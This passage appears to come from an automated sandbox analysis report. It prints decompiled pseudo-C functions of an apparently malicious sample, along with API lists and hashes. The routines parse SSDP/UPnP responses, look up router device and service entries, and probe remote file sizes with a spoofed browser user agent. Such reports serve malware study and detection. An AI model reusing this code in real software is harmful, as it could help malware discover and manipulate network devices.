                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E7A4
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E82B
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E8C6
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32 ref: 0040E8FC
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(?), ref: 0040E909
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 671207744-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 584f9aaf3cf43e9f5a76224dd5ce4f4ee39464d4bf8dd75d9bd4c531db799dc7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bf08bfb089cccb0d350598efede324d2cd87fe214d8a91e4e45fb32bb93ae6b1
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 584f9aaf3cf43e9f5a76224dd5ce4f4ee39464d4bf8dd75d9bd4c531db799dc7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F651BF75608B01ABC704DF39D488B97FBE4BFC8314F408A2EE49D83351D735A5588BA6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C380 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040C380(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0);
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B180(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8);
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}











                                                                                                                                                                                                                                                                                                                                                      0x0040c380
                                                                                                                                                                                                                                                                                                                                                      0x0040c389
                                                                                                                                                                                                                                                                                                                                                      0x0040c390
                                                                                                                                                                                                                                                                                                                                                      0x0040c3ab
                                                                                                                                                                                                                                                                                                                                                      0x0040c3ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c3d7
                                                                                                                                                                                                                                                                                                                                                      0x0040c3e6
                                                                                                                                                                                                                                                                                                                                                      0x0040c403
                                                                                                                                                                                                                                                                                                                                                      0x0040c417
                                                                                                                                                                                                                                                                                                                                                      0x0040c424
                                                                                                                                                                                                                                                                                                                                                      0x0040c42f
                                                                                                                                                                                                                                                                                                                                                      0x0040c452
                                                                                                                                                                                                                                                                                                                                                      0x0040c457
                                                                                                                                                                                                                                                                                                                                                      0x0040c45d
                                                                                                                                                                                                                                                                                                                                                      0x0040c45d
                                                                                                                                                                                                                                                                                                                                                      0x0040c424
                                                                                                                                                                                                                                                                                                                                                      0x0040c3d9
                                                                                                                                                                                                                                                                                                                                                      0x0040c3de
                                                                                                                                                                                                                                                                                                                                                      0x0040c3de
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a2
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040c46d

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C3CE
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040C3DE
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C3FB
                                                                                                                                                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C411
                                                                                                                                                                                                                                                                                                                                                      • StrChrA.SHLWAPI(?,0000000D), ref: 0040C43E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleeprecvfrom
                                                                                                                                                                                                                                                                                                                                                      • String ID: HTTP/1.1 200 OK$LOCATION:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 668330359-3973262388
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 36c585dfc041e8c4902b72e65f85d0a6872a6bf4aad077134a3245f0e93a3562
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7a7b0d5e68f94ec381199072852bac281f708bbc84c30083d73ab251a676ba50
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 36c585dfc041e8c4902b72e65f85d0a6872a6bf4aad077134a3245f0e93a3562
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C52192B0900218EBDB20CB64DC85BE97774BB04308F10C6E9E709762C0C7B95AC68F5C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D330 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D330(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;

				_v9 = 0;
				_v16 = InternetOpenA("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 1, 0, 0, 0);
				if(_v16 != 0) {
					_v8 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0);
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8);
				return _v9;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040d336
                                                                                                                                                                                                                                                                                                                                                      0x0040d34d
                                                                                                                                                                                                                                                                                                                                                      0x0040d354
                                                                                                                                                                                                                                                                                                                                                      0x0040d36c
                                                                                                                                                                                                                                                                                                                                                      0x0040d373
                                                                                                                                                                                                                                                                                                                                                      0x0040d375
                                                                                                                                                                                                                                                                                                                                                      0x0040d38f
                                                                                                                                                                                                                                                                                                                                                      0x0040d39c
                                                                                                                                                                                                                                                                                                                                                      0x0040d3ae
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d3c2
                                                                                                                                                                                                                                                                                                                                                      0x0040d3c2
                                                                                                                                                                                                                                                                                                                                                      0x0040d3cd
                                                                                                                                                                                                                                                                                                                                                      0x0040d3d9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D347
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D366
                                                                                                                                                                                                                                                                                                                                                      • HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D38F
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D3B8
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D3C2
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D3CD
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36, xrefs: 0040D342
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2743515581-3364014121
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7cae087ba8c48712e4558e2fa8863d05e34ae6eba76b609dec4af7faf417dc59
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c00a9465ac8772b46349142f40b77b511ad80e66adb96f430c78034538f9682e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7cae087ba8c48712e4558e2fa8863d05e34ae6eba76b609dec4af7faf417dc59
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E121FC74E40208FBDB11DF94CC49FDEB7B5AB04705F108565FA116B2C0C7B96A44CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404560 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404560() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x414c50);
				_t35 = CreateFileW(0x414e80, 0x80000000, 0, 0, 3, 0, 0);
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B100(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E00404450(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408B60(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040456b
                                                                                                                                                                                                                                                                                                                                                      0x00404585
                                                                                                                                                                                                                                                                                                                                                      0x0040458b
                                                                                                                                                                                                                                                                                                                                                      0x00404592
                                                                                                                                                                                                                                                                                                                                                      0x004045ac
                                                                                                                                                                                                                                                                                                                                                      0x004045b3
                                                                                                                                                                                                                                                                                                                                                      0x0040467b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040467f
                                                                                                                                                                                                                                                                                                                                                      0x004045cb
                                                                                                                                                                                                                                                                                                                                                      0x004045d2
                                                                                                                                                                                                                                                                                                                                                      0x00404671
                                                                                                                                                                                                                                                                                                                                                      0x00404675
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404675
                                                                                                                                                                                                                                                                                                                                                      0x004045e4
                                                                                                                                                                                                                                                                                                                                                      0x004045ea
                                                                                                                                                                                                                                                                                                                                                      0x004045ed
                                                                                                                                                                                                                                                                                                                                                      0x004045fa
                                                                                                                                                                                                                                                                                                                                                      0x00404602
                                                                                                                                                                                                                                                                                                                                                      0x00404607
                                                                                                                                                                                                                                                                                                                                                      0x0040460a
                                                                                                                                                                                                                                                                                                                                                      0x00404611
                                                                                                                                                                                                                                                                                                                                                      0x0040461e
                                                                                                                                                                                                                                                                                                                                                      0x0040462a
                                                                                                                                                                                                                                                                                                                                                      0x00404651
                                                                                                                                                                                                                                                                                                                                                      0x00404656
                                                                                                                                                                                                                                                                                                                                                      0x00404662
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404662
                                                                                                                                                                                                                                                                                                                                                      0x00404630
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404635
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404613
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004045fc
                                                                                                                                                                                                                                                                                                                                                      0x0040466b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040466b
                                                                                                                                                                                                                                                                                                                                                      0x00404688

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(00414C50,?,?,?,?,?,0040641F), ref: 0040456B
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00414E80,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,0040641F), ref: 00404585
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004045A6
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004045C5
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 004045DE
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040466B
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00404675
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040467F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3956458805-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ffced041c71c1d1b66aec95550984d97db9d182e246add6a2dee488be815fc80
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 068de0eeb47c8b83a571e37af6360b0d9046fe5958687f01e9cb74a01da15135
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ffced041c71c1d1b66aec95550984d97db9d182e246add6a2dee488be815fc80
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C53163B4E40209FFDB14DBA4CC4AFAEB770AB88705F208529E601772C0D7B96941CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 48%
                                                                                                                                                                                                                                                                                                                                                      			E0040C7D0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C0F0(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040c7d6
                                                                                                                                                                                                                                                                                                                                                      0x0040c7dd
                                                                                                                                                                                                                                                                                                                                                      0x0040c7e7
                                                                                                                                                                                                                                                                                                                                                      0x0040c7f0
                                                                                                                                                                                                                                                                                                                                                      0x0040c7f8
                                                                                                                                                                                                                                                                                                                                                      0x0040c808
                                                                                                                                                                                                                                                                                                                                                      0x0040c81a
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c830
                                                                                                                                                                                                                                                                                                                                                      0x0040c834
                                                                                                                                                                                                                                                                                                                                                      0x0040c83d
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c923
                                                                                                                                                                                                                                                                                                                                                      0x0040c817
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c85f
                                                                                                                                                                                                                                                                                                                                                      0x0040c868
                                                                                                                                                                                                                                                                                                                                                      0x0040c873
                                                                                                                                                                                                                                                                                                                                                      0x0040c894
                                                                                                                                                                                                                                                                                                                                                      0x0040c89f
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a4
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a7
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ba
                                                                                                                                                                                                                                                                                                                                                      0x0040c8c3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8cb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c913
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c81a
                                                                                                                                                                                                                                                                                                                                                      0x0040c928
                                                                                                                                                                                                                                                                                                                                                      0x0040c92e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,device), ref: 0040C88C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C8DB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C8EF
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C907
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: device$deviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3511266565
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9cb394442daad68dd84c333a344d676eba0026faeba622b23d54eedb1f956e34
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a8615d3094e1971e290d6f9c10a0014d70873984087a3f1704e3b638c563dccf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9cb394442daad68dd84c333a344d676eba0026faeba622b23d54eedb1f956e34
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F41DEB5A0020ADFCB04DF94D884BAFB7B9BF48305F108669E515B7390D7789D81CB95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C5F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 48%
                                                                                                                                                                                                                                                                                                                                                      			E0040C5F0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C0F0(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040c5f6
